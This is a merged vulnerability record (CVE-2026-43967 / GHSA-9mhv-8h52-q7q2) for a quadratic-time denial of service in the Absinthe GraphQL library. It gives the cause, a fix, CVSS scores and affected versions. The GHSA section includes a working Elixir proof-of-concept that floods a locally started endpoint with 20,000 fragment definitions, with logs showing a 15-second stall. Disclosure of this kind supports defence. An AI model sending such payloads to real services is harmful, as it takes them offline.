{"id":"CVE-2026-43967","aliases":["CVE-2026-43967","GHSA-9mhv-8h52-q7q2","EEF-CVE-2026-43967"],"related":[],"kind":"vulnerability","state":"published","title":"Quadratic fragment-name uniqueness check causes denial of service in absinthe","summary":"Inefficient Algorithmic Complexity vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via quadratic fragment-name uniqueness validation.\n\nAbsinthe.Phase.Document.Validation.UniqueFragmentNames.run/2 iterates over all fragments and for each one calls duplicate?/2, which evaluates Enum.count(fragments, &(&1.name == name)) — a full linear scan of the fragment list. The result is O(N²) comparisons per document, where N is the number of fragment definitions supplied by the caller.\n\nBecause input.fragments is built directly from the GraphQL query body, N is fully attacker-controlled. A minimum-size fragment definition is roughly 16 bytes, so a ~1 MB document carries ~60,000 fragments and forces ~3.6 × 10⁹ comparisons inside this single validation phase. No authentication, schema knowledge, or special configuration is required.\n\nThis issue affects absinthe: from 1.2.0 before 1.10.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Inefficient Algorithmic Complexity vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via quadratic fragment-name uniqueness validation.\n\nAbsinthe.Phase.Document.Validation.UniqueFragmentNames.run/2 iterates over all fragments and for each one calls duplicate?/2, which evaluates Enum.count(fragments, &(&1.name == name)) — a full linear scan of the fragment list. The result is O(N²) comparisons per document, where N is the number of fragment definitions supplied by the caller.\n\nBecause input.fragments is built directly from the GraphQL query body, N is fully attacker-controlled. A minimum-size fragment definition is roughly 16 bytes, so a ~1 MB document carries ~60,000 fragments and forces ~3.6 × 10⁹ comparisons inside this single validation phase. No authentication, schema knowledge, or special configuration is required.\n\nThis issue affects absinthe: from 1.2.0 before 1.10.2.","source":"cvelist"},{"lang":"en","text":"### Summary\nAn unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).\n\nIntroduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14\n\n### Details\n`Absinthe.Phase.Document.Validation.UniqueFragmentNames` (`lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40`) walks every fragment in `input.fragments` via `run/2`, calling `process/2` on each one. `process/2` then calls `duplicate?/2`, which evaluates `Enum.count(fragments, fn f -> f.name == name end)` — a full linear scan of the fragment list — for every individual fragment. The result is `N · N` name comparisons per document.\n\n`input.fragments` is built directly from the GraphQL query text the caller sends at the head of the pipeline, so `N` is attacker-controlled. A minimum-size fragment definition (`fragment a on T{f}`) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps `N`.\n\nThe fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:\n\n```elixir\ndups =\n  for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name),\n      k > 1,\n      into: MapSet.new(),\n      do: name\n```\n\nand then check `MapSet.member?(dups, fragment.name)` inside `process/2`. That collapses the phase to O(N).\n\n### PoC\nA standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the `UniqueFragmentNames` phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.\n\n### Impact\nAlgorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required — only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Quadratic fragment-name uniqueness check\n\nMix.install([\n  {:absinthe, \"~> 1.7\"},\n  {:absinthe_plug, \"~> 1.5\"},\n  {:bandit, \"~> 1.0\"},\n  {:plug, \"~> 1.15\"},\n  {:jason, \"~> 1.4\"},\n  {:req, \"~> 0.5\"}\n])\n\ndefmodule VictimSchema do\n  use Absinthe.Schema\n\n  object :thing do\n    field :f, :string\n  end\n\n  query do\n    field :thing, :thing do\n      resolve(fn _, _ -> {:ok, %{f: \"x\"}} end)\n    end\n  end\nend\n\ndefmodule VictimRouter do\n  use Plug.Router\n\n  plug :match\n\n  plug Plug.Parsers,\n    parsers: [:json],\n    pass: [\"*/*\"],\n    json_decoder: Jason\n\n  plug :dispatch\n\n  forward \"/graphql\",\n    to: Absinthe.Plug,\n    init_opts: [schema: VictimSchema]\n\n  match _ do\n    send_resp(conn, 404, \"nope\")\n  end\nend\n\nport = 47817\n{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)\n\nn = 20_000\n\nfragments =\n  1..n\n  |> Enum.map(fn i -> \"fragment f#{i} on Thing{f}\" end)\n  |> Enum.join(\" \")\n\nquery = \"{ thing { f } } \" <> fragments\n\nIO.puts(\n  \"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}\"\n)\n\n{us, response} =\n  :timer.tc(fn ->\n    Req.post!(\"http://127.0.0.1:#{port}/graphql\",\n      json: %{query: query},\n      receive_timeout: 600_000,\n      retry: false\n    )\n  end)\n\nms = div(us, 1000)\nIO.puts(\"HTTP response status: #{response.status}\")\nIO.puts(\"Total request elapsed (validation-dominated): #{ms} ms\")\n\nresult =\n  if ms > 1000 do\n    \"VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).\"\n  else\n    \"NOT VERIFIED: elapsed #{ms} ms below DoS threshold\"\n  end\n\nIO.puts(result)\n```\n\n\n### Logs\n\n```logs\nHTTP response status: 200\nTotal request elapsed (validation-dominated): 15451 ms\nVERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"## Summary\n\nInefficient Algorithmic Complexity vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via quadratic fragment-name uniqueness validation.\n\n`Absinthe.Phase.Document.Validation.UniqueFragmentNames.run/2` iterates over all fragments and for each one calls `duplicate?/2`, which evaluates `Enum.count(fragments, &(&1.name == name))` — a full linear scan of the fragment list. The result is O(N²) comparisons per document, where N is the number of fragment definitions supplied by the caller.\n\nBecause `input.fragments` is built directly from the GraphQL query body, N is fully attacker-controlled. A minimum-size fragment definition is roughly 16 bytes, so a ~1 MB document carries ~60,000 fragments and forces ~3.6 × 10⁹ comparisons inside this single validation phase. No authentication, schema knowledge, or special configuration is required.\n\nThis issue affects absinthe: from 1.2.0 before 1.10.2.","format":"markdown","source":"eef"},{"lang":"es","text":"Vulnerabilidad de complejidad algorítmica ineficiente en absinthe-graphql absinthe permite la denegación de servicio no autenticada a través de la validación cuadrática de unicidad de nombres de fragmentos.\n\n’Elixir.Absinthe.Phase.Document.Validation.UniqueFragmentNames’:run/2 itera sobre todos los fragmentos y para cada uno llama a duplicate?/2, que evalúa Enum.count(fragments, &(&1.name == name)) - un escaneo lineal completo de la lista de fragmentos. El resultado son comparaciones O(N²) por documento, donde N es el número de definiciones de fragmentos proporcionadas por el llamador.\n\nDebido a que input.fragments se construye directamente desde el cuerpo de la consulta GraphQL, N es totalmente controlado por el atacante. Una definición de fragmento de tamaño mínimo es aproximadamente de 16 bytes, por lo que un documento de ~1 MB contiene ~60,000 fragmentos y fuerza ~3.6 × 10? comparaciones dentro de esta única fase de validación. No se requiere autenticación, conocimiento del esquema o configuración especial.\n\nEste problema afecta a absinthe: desde 1.2.0 antes de 1.10.2.","source":"nvd"}],"published":"2026-05-08T15:42:34.347Z","modified":"2026-11-25T17:23:07.943Z","severity":{"scorer":"EEF","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"EEF","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"Erlang Ecosystem Foundation","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-407"],"affected":[{"ranges":[{"type":"semver","introduced":"1.2.0","fixed":"1.10.2","status":"affected"}],"vendor":"absinthe-graphql","product":"absinthe","package":"absinthe","cpe":"cpe:2.3:a:absinthe-graphql:absinthe:*:*:*:*:*:*:*:*","repo":"https://github.com/absinthe-graphql/absinthe","source":"cvelist"},{"ranges":[{"type":"git","introduced":"0b46e3bcc06c0d3797bacd64761b908a84646c1d","fixed":"223600c520493dcaf95080af552c413099f92c9d","status":"affected"}],"vendor":"absinthe-graphql","product":"absinthe","package":"absinthe-graphql/absinthe","cpe":"cpe:2.3:a:absinthe-graphql:absinthe:*:*:*:*:*:*:*:*","repo":"https://github.com/absinthe-graphql/absinthe","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"1.2.0","status":"affected","fixed":"1.10.2"}],"ecosystem":"Hex","package":"absinthe","purl":"pkg:hex/absinthe","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.2.0","status":"affected","fixed":"1.10.2"}],"ecosystem":"Hex","package":"absinthe","purl":"pkg:hex/absinthe","source":"eef"},{"ranges":[{"type":"git","introduced":"0b46e3bcc06c0d3797bacd64761b908a84646c1d","status":"affected","fixed":"223600c520493dcaf95080af552c413099f92c9d"}],"repo":"https://github.com/absinthe-graphql/absinthe","source":"eef"},{"ranges":[{"status":"affected","introduced":">1.2.0","fixed":"1.10.2"}],"vendor":"absinthe-graphql","product":"absinthe","cpe":"cpe:2.3:a:absinthe-graphql:absinthe:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/absinthe-graphql/absinthe/security/advisories/GHSA-9mhv-8h52-q7q2","tags":["advisory","exploit","related","vendor-advisory","web"],"sources":["cvelist","ghsa","eef","nvd"]},{"url":"https://cna.erlef.org/cves/CVE-2026-43967.html","tags":["patch","related","third-party-advisory","web"],"sources":["cvelist","ghsa","eef","nvd"]},{"url":"https://osv.dev/vulnerability/EEF-CVE-2026-43967","tags":["related","third-party-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d","tags":["related","web"],"sources":["cvelist","eef","nvd"]},{"url":"https://github.com/absinthe-graphql/absinthe/commit/223600c520493dcaf95080af552c413099f92c9d","tags":["fix","patch","web"],"sources":["cvelist","ghsa","eef","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43967","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/absinthe-graphql/absinthe","tags":["package"],"sources":["ghsa"]},{"url":"https://hex.pm/packages/absinthe","tags":["package"],"sources":["eef"]}],"credits":["Peter Ullrich","Curtis Schiewek"],"assigner":"EEF","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-05-08T16:07:01.053Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-43967","url":"https://www.cve.org/CVERecord?id=CVE-2026-43967","licence":"CVE Terms of Use","modified":"2026-11-20T04:40:59.071Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9mhv-8h52-q7q2","url":"https://github.com/advisories/GHSA-9mhv-8h52-q7q2","licence":"CC-BY-4.0","modified":"2026-05-14T13:23:19.154Z"},{"source":"eef","name":"Erlang Ecosystem Foundation","id":"EEF-CVE-2026-43967","url":"https://osv.dev/vulnerability/EEF-CVE-2026-43967","licence":"CC-BY-4.0","modified":"2026-11-25T17:23:07.943Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-43967","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43967","licence":"Public domain","modified":"2026-11-20T05:18:56.073Z"}],"updatedAt":"2026-11-25T22:59:21.100Z","epss":{"score":0.00675,"percentile":0.53468,"date":"2026-12-01T12:00:22.000Z"}}